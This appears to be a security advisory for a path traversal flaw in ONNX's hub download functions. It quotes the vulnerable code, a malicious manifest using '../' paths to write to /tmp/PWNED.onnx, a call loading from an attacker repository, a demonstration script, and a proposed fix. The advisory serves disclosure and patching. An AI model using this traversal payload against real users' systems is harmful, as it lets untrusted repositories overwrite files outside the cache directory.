Views
No views yet
onnx.hub.load() and onnx.hub.download_model_with_test_data() functions read model_path and model_with_data_path from a remote manifest without path validation. When using untrusted repositories, this allows writing files outside the hub cache directory.1selected_model = get_model_info(model, repo, opset)
2local_model_path_arr = selected_model.model_path.split("/")
3# ...
4local_model_path = join(_ONNX_HUB_DIR, os.sep.join(local_model_path_arr))1local_model_with_data_path_arr = selected_model.metadata["model_with_data_path"].split("/")
2# ...
3local_model_with_data_path = join(_ONNX_HUB_DIR, os.sep.join(local_model_with_data_path_arr))ONNX_HUB_MANIFEST.json served by the repository. No validation prevents ../ sequences.1[{
2 "model": "evil",
3 "model_path": "../../../../../../../tmp/PWNED.onnx",
4 "metadata": {
5 "model_with_data_path": "../../../../../../../tmp/PWNED.tar.gz"
6 }
7}]1import onnx.hub
2onnx.hub.load("evil", repo="attacker/repo:main", silent=True)1import os
2from os.path import join
3
4_ONNX_HUB_DIR = os.path.expanduser("~/.cache/onnx/hub")
5malicious_model_path = "../../../../../../../tmp/PWNED.onnx"
6
7local_model_path_arr = malicious_model_path.split("/")
8local_model_path = join(_ONNX_HUB_DIR, os.sep.join(local_model_path_arr))
9
10print(f"Result: {os.path.abspath(local_model_path)}")
11# Output: /tmp/PWNED.onnxsilent=True OR clicks "y" on warning1def load(model, repo="onnx/models:main", ...):
2 selected_model = get_model_info(model, repo, opset)
3 local_model_path_arr = selected_model.model_path.split("/")
4
5 if ".." in local_model_path_arr:
6 raise ValueError("Path traversal detected in manifest")
7
8 local_model_path = join(_ONNX_HUB_DIR, os.sep.join(local_model_path_arr))
9
10 abs_hub = os.path.abspath(_ONNX_HUB_DIR)
11 abs_target = os.path.abspath(local_model_path)
12 if not abs_target.startswith(abs_hub + os.sep):
13 raise ValueError("Path escapes hub directory")onnx/hub.py line 261 - load()onnx/hub.py line 333-334 - download_model_with_test_data()